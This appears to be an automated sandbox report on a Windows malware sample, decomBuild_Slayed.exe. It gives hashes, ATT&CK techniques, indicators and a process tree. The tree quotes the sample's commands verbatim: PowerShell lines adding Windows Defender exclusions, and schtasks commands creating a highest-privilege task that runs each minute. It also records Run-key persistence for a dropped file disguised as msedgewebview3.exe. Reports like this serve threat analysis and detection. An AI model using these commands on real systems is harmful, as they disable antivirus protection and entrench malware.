c1105c7581c23cf3142e5fc81c06ede2d58f477f7562bf86d1300f17e68a1458

Analysis

user interaction
yes
max time kernel
35s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/10/2026, 13:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
decomBuild_Slayed.exe
Size 1.7MB
Sample261017-qjdl3atzay
SHA256 c1105c7581c23cf3142e5fc81c06ede2d58f477f7562bf86d1300f17e68a1458
MD5 5675afb5a96f73ba44143bf0d7eb1f48
SHA1 d2a5c460cefe31fb069298ef30b3b608a9751b4f
SHA512 457cc310044159e30d186a53176acf9cd155d8ac8265a5ac019f30114a278e3da34b4a1ca5a08f925390c5d2c05bb03f9522fb09e0e5be93b773dc9bbbd12fa8
SSDEEP 24576:Xktz2I9NXzgGjTybBltfLJ9ZLJ4GCBr8nvRj6U0IgDBcj+oKac5:XktzbXsb1JnjAcv9gDBw+oKa
TLSH
T1A9858D8233C28D62D57F67339B22924029E8EF115B93C71ED86F47B73E53BA4A4651C2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2152	powershell.exe
124	powershell.exe
5264	powershell.exe
6004	powershell.exe
4504	powershell.exe
4436	powershell.exe
5888	powershell.exe
2856	powershell.exe
5084	powershell.exe
6004	powershell.exe
4384	powershell.exe
5076	powershell.exe
464	powershell.exe
808	powershell.exe
2196	powershell.exe
1124	powershell.exe
4456	powershell.exe
5648	powershell.exe
3716	powershell.exe
3760	powershell.exe
1912	powershell.exe
4768	powershell.exe
972	powershell.exe
4960	powershell.exe
3804	powershell.exe
2428	powershell.exe
5504	powershell.exe
1452	powershell.exe
3736	powershell.exe
4976	powershell.exe
2296	powershell.exe
2280	powershell.exe
3492	powershell.exe
1412	powershell.exe
5996	powershell.exe
2912	powershell.exe
3496	powershell.exe
3044	powershell.exe
2288	powershell.exe
2936	powershell.exe
1272	powershell.exe
2244	powershell.exe
5152	powershell.exe
5488	powershell.exe
4308	powershell.exe
3736	powershell.exe
3400	powershell.exe
4412	powershell.exe
6040	powershell.exe
4540	powershell.exe
5020	powershell.exe
5056	powershell.exe
3468	powershell.exe
4104	powershell.exe
1772	powershell.exe
236	powershell.exe
2172	powershell.exe
5320	powershell.exe
5748	powershell.exe
2044	powershell.exe
3136	powershell.exe
5452	powershell.exe
2644	powershell.exe
3032	powershell.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral3/files/0x000d00000001c50b-53.dat	net_reactor
behavioral3/files/0x009400000001a331-808.dat	net_reactor

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedgewebview3.exe.lnk	decomBuild_Slayed.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedgewebview3.exe.lnk	msedgewebview3.exe

Executes dropped EXE 2 IoCs

pid	Process
3548	msedgewebview3.exe
1440	msedgewebview3.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\msedgewebview3.exe = "\"C:\\Users\\Admin\\AppData\\Local\\EdgeWebView\\msedgewebview3.exe\""	decomBuild_Slayed.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\msedgewebview3.exe = "\"C:\\Users\\Admin\\AppData\\Local\\EdgeWebView\\msedgewebview3.exe\""	msedgewebview3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\msedgewebview3.exe = "\"C:\\Users\\Admin\\AppData\\Local\\EdgeWebView\\msedgewebview3.exe\""	msedgewebview3.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
29	discord.com
39	discord.com
51	discord.com

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 32 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
44	ip-api.com
49	ip-api.com
13	ip-api.com
20	api.ipify.org
25	ip-api.com
16	ip-api.com
1	api.ipify.org
9	api.ipify.org
11	ip-api.com
26	ipinfo.io
31	ip-api.com
45	ipinfo.io
48	ip-api.com
5	api.ipify.org
12	ipinfo.io
24	ip-api.com
34	ip-api.com
17	ipinfo.io
1	ip-api.com
33	ip-api.com
42	ip-api.com
47	api.ipify.org
41	api.ipify.org
1	ipinfo.io
6	ip-api.com
30	api.ipify.org
35	ipinfo.io
43	ip-api.com
7	ip-api.com
10	ip-api.com
21	ip-api.com
32	ip-api.com

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
972	powershell.exe
924	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2092	cmd.exe
3088	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	msedgewebview3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	msedgewebview3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	decomBuild_Slayed.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	decomBuild_Slayed.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	msedgewebview3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	msedgewebview3.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
2444	timeout.exe
5300	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4260	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4976	schtasks.exe
3860	schtasks.exe
6012	schtasks.exe
4536	schtasks.exe
1732	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1440	msedgewebview3.exe
1440	msedgewebview3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5564	decomBuild_Slayed.exe
124	powershell.exe
124	powershell.exe
124	powershell.exe
5648	powershell.exe
5648	powershell.exe
5648	powershell.exe
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
808	powershell.exe
808	powershell.exe
808	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
4768	powershell.exe
4768	powershell.exe
4768	powershell.exe
1484	powershell.exe
1484	powershell.exe
1484	powershell.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
1320	powershell.exe
1320	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
1320	powershell.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
5056	powershell.exe
5056	powershell.exe
5504	powershell.exe
5504	powershell.exe
5056	powershell.exe
5504	powershell.exe
3468	powershell.exe
3468	powershell.exe
2936	powershell.exe
2936	powershell.exe
3468	powershell.exe
2936	powershell.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
3548	msedgewebview3.exe
4540	powershell.exe
4540	powershell.exe
5580	powershell.exe
5580	powershell.exe
5580	powershell.exe
4540	powershell.exe
5320	powershell.exe
5320	powershell.exe
5320	powershell.exe
3716	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5564	decomBuild_Slayed.exe
Token: SeDebugPrivilege	124	powershell.exe
Token: SeIncreaseQuotaPrivilege	124	powershell.exe
Token: SeSecurityPrivilege	124	powershell.exe
Token: SeTakeOwnershipPrivilege	124	powershell.exe
Token: SeLoadDriverPrivilege	124	powershell.exe
Token: SeSystemProfilePrivilege	124	powershell.exe
Token: SeSystemtimePrivilege	124	powershell.exe
Token: SeProfSingleProcessPrivilege	124	powershell.exe
Token: SeIncBasePriorityPrivilege	124	powershell.exe
Token: SeCreatePagefilePrivilege	124	powershell.exe
Token: SeBackupPrivilege	124	powershell.exe
Token: SeRestorePrivilege	124	powershell.exe
Token: SeShutdownPrivilege	124	powershell.exe
Token: SeDebugPrivilege	124	powershell.exe
Token: SeSystemEnvironmentPrivilege	124	powershell.exe
Token: SeRemoteShutdownPrivilege	124	powershell.exe
Token: SeUndockPrivilege	124	powershell.exe
Token: SeManageVolumePrivilege	124	powershell.exe
Token: 33	124	powershell.exe
Token: 34	124	powershell.exe
Token: 35	124	powershell.exe
Token: 36	124	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeIncreaseQuotaPrivilege	5648	powershell.exe
Token: SeSecurityPrivilege	5648	powershell.exe
Token: SeTakeOwnershipPrivilege	5648	powershell.exe
Token: SeLoadDriverPrivilege	5648	powershell.exe
Token: SeSystemProfilePrivilege	5648	powershell.exe
Token: SeSystemtimePrivilege	5648	powershell.exe
Token: SeProfSingleProcessPrivilege	5648	powershell.exe
Token: SeIncBasePriorityPrivilege	5648	powershell.exe
Token: SeCreatePagefilePrivilege	5648	powershell.exe
Token: SeBackupPrivilege	5648	powershell.exe
Token: SeRestorePrivilege	5648	powershell.exe
Token: SeShutdownPrivilege	5648	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeSystemEnvironmentPrivilege	5648	powershell.exe
Token: SeRemoteShutdownPrivilege	5648	powershell.exe
Token: SeUndockPrivilege	5648	powershell.exe
Token: SeManageVolumePrivilege	5648	powershell.exe
Token: 33	5648	powershell.exe
Token: 34	5648	powershell.exe
Token: 35	5648	powershell.exe
Token: 36	5648	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeIncreaseQuotaPrivilege	2588	powershell.exe
Token: SeSecurityPrivilege	2588	powershell.exe
Token: SeTakeOwnershipPrivilege	2588	powershell.exe
Token: SeLoadDriverPrivilege	2588	powershell.exe
Token: SeSystemProfilePrivilege	2588	powershell.exe
Token: SeSystemtimePrivilege	2588	powershell.exe
Token: SeProfSingleProcessPrivilege	2588	powershell.exe
Token: SeIncBasePriorityPrivilege	2588	powershell.exe
Token: SeCreatePagefilePrivilege	2588	powershell.exe
Token: SeBackupPrivilege	2588	powershell.exe
Token: SeRestorePrivilege	2588	powershell.exe
Token: SeShutdownPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeSystemEnvironmentPrivilege	2588	powershell.exe
Token: SeRemoteShutdownPrivilege	2588	powershell.exe
Token: SeUndockPrivilege	2588	powershell.exe
Token: SeManageVolumePrivilege	2588	powershell.exe
Token: 33	2588	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 5564 wrote to memory of 2864	5564	decomBuild_Slayed.exe	89
PID 5564 wrote to memory of 4160	5564	decomBuild_Slayed.exe	92
PID 5564 wrote to memory of 124	5564	decomBuild_Slayed.exe	94
PID 5564 wrote to memory of 248	5564	decomBuild_Slayed.exe	96
PID 5564 wrote to memory of 5648	5564	decomBuild_Slayed.exe	99
PID 5564 wrote to memory of 2588	5564	decomBuild_Slayed.exe	184
PID 5564 wrote to memory of 808	5564	decomBuild_Slayed.exe	103
PID 5564 wrote to memory of 1760	5564	decomBuild_Slayed.exe	105
PID 5564 wrote to memory of 4976	5564	decomBuild_Slayed.exe	107
PID 5564 wrote to memory of 4948	5564	decomBuild_Slayed.exe	109
PID 5564 wrote to memory of 3860	5564	decomBuild_Slayed.exe	111
PID 5564 wrote to memory of 4512	5564	decomBuild_Slayed.exe	114
PID 3548 wrote to memory of 1256	3548	msedgewebview3.exe	195
PID 5564 wrote to memory of 4768	5564	decomBuild_Slayed.exe	183
PID 3548 wrote to memory of 5812	3548	msedgewebview3.exe	121
PID 3548 wrote to memory of 1484	3548	msedgewebview3.exe	175
PID 5564 wrote to memory of 1320	5564	decomBuild_Slayed.exe	125
PID 3548 wrote to memory of 5020	3548	msedgewebview3.exe	127
PID 5564 wrote to memory of 6012	5564	decomBuild_Slayed.exe	129
PID 5564 wrote to memory of 5752	5564	decomBuild_Slayed.exe	226
PID 5564 wrote to memory of 5056	5564	decomBuild_Slayed.exe	133
PID 3548 wrote to memory of 5504	3548	msedgewebview3.exe	135
PID 3548 wrote to memory of 3468	3548	msedgewebview3.exe	137
PID 5564 wrote to memory of 2936	5564	decomBuild_Slayed.exe	138
PID 5564 wrote to memory of 4540	5564	decomBuild_Slayed.exe	141
PID 3548 wrote to memory of 5580	3548	msedgewebview3.exe	142
PID 5564 wrote to memory of 5320	5564	decomBuild_Slayed.exe	223
PID 3548 wrote to memory of 3716	3548	msedgewebview3.exe	277
PID 5564 wrote to memory of 1440	5564	decomBuild_Slayed.exe	149
PID 5564 wrote to memory of 4456	5564	decomBuild_Slayed.exe	150
PID 1440 wrote to memory of 1356	1440	msedgewebview3.exe	276
PID 5564 wrote to memory of 2092	5564	decomBuild_Slayed.exe	154
PID 2092 wrote to memory of 2444	2092	cmd.exe	156
PID 1440 wrote to memory of 5968	1440	msedgewebview3.exe	157
PID 1440 wrote to memory of 560	1440	msedgewebview3.exe	159
PID 5564 wrote to memory of 5864	5564	decomBuild_Slayed.exe	210
PID 1440 wrote to memory of 1412	1440	msedgewebview3.exe	269
PID 2092 wrote to memory of 4260	2092	cmd.exe	165
PID 5564 wrote to memory of 5312	5564	decomBuild_Slayed.exe	166
PID 1440 wrote to memory of 2860	1440	msedgewebview3.exe	168
PID 1440 wrote to memory of 3760	1440	msedgewebview3.exe	170
PID 1440 wrote to memory of 5840	1440	msedgewebview3.exe	172
PID 1440 wrote to memory of 5744	1440	msedgewebview3.exe	253
PID 1440 wrote to memory of 2644	1440	msedgewebview3.exe	176
PID 1440 wrote to memory of 1912	1440	msedgewebview3.exe	178
PID 1440 wrote to memory of 4520	1440	msedgewebview3.exe	180
PID 1440 wrote to memory of 4768	1440	msedgewebview3.exe	183
PID 1440 wrote to memory of 3344	1440	msedgewebview3.exe	185
PID 1440 wrote to memory of 5264	1440	msedgewebview3.exe	187
PID 1440 wrote to memory of 5084	1440	msedgewebview3.exe	356
PID 1440 wrote to memory of 1452	1440	msedgewebview3.exe	365

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe
"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5564
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:2864
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /delete /tn "msedgewebview3.exe_Fallback" /f
  2⤵
  PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:124
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1760
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /tn "msedgewebview3" /tr "\"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\"" /sc minute /mo 1 /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4976
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:4948
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /tn "msedgewebview3" /tr "\"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\"" /sc minute /mo 1 /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3860
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1320
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /tn "msedgewebview3" /tr "\"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\"" /sc minute /mo 1 /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6012
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:5752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5320
- C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe
  "C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe"
  2⤵
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /query /fo CSV /nh
    3⤵
    PID:1356
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /delete /tn "msedgewebview3.exe_Fallback" /f
    3⤵
    PID:5968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe'"
    3⤵
    PID:560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:2860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:5840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:5744
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4768
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:3748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:1256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:3044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:1684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:1236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:4948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:4232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3736
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5864
